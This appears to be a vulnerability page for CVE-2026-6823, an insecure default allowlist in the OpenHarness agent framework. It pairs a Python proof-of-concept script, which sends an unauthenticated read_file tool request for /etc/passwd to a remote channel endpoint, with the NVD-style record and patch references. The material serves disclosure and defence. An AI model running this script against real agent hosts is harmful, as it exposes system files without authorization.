CVE-2026-6823

import requests # Conceptual PoC for CVE-2026-6823 # This script demonstrates connecting to a vulnerable OpenHarness instance # and exploiting the insecure default configuration to read files. TARGET_URL = "http://target-openharness-instance:port/remote-channel-endpoint" def exploit(): # 1. Prepare payload to interact with the agent runtime # Since allow_from is ["*"], no specific authentication header is needed. payload = { "tool": "read_file", # Assuming a default read-only tool exists "args": { "path": "/etc/passwd" # Sensitive file to read } } try: # 2. Send request to the remote channel response = requests.post(TARGET_URL, json=payload) # 3. Check if the access control was bypassed successfully if response.status_code == 200: print("[+] Exploit successful! Access control bypassed.") print("[+] File content retrieved:") print(response.text) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-6823", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:48.827", "lastModified": "2026-05-07T20:29:09.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HKUDS OpenHarness prior to PR #147 remediation contains an insecure default configuration vulnerability where remote channels inherit allow_from = [\"*\"] permitting arbitrary remote senders to pass admission checks. Attackers who can reach the configured channel can bypass access controls and reach host-backed agent runtimes, potentially leading to unauthorized file disclosure and read access through default-enabled read-only tools."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hkuds:openharness:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.7", "matchCriteriaId": "9C7CA6F6-AD0C-4BAF-8E67-793ABBC9F1BC"}]}]}], "references": [{"url": "https://github.com/HKUDS/OpenHarness/commit/fab40c6eabfb15f2bdf23cddd3cfe66a64ea203d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/HKUDS/OpenHarness/pull/147", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://github.com/HKUDS/OpenHarness/releases/tag/v0.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/hkuds-openharness-insecure-default-remote-channel-allowlist", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/HKUDS/OpenHarness/pull/147", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}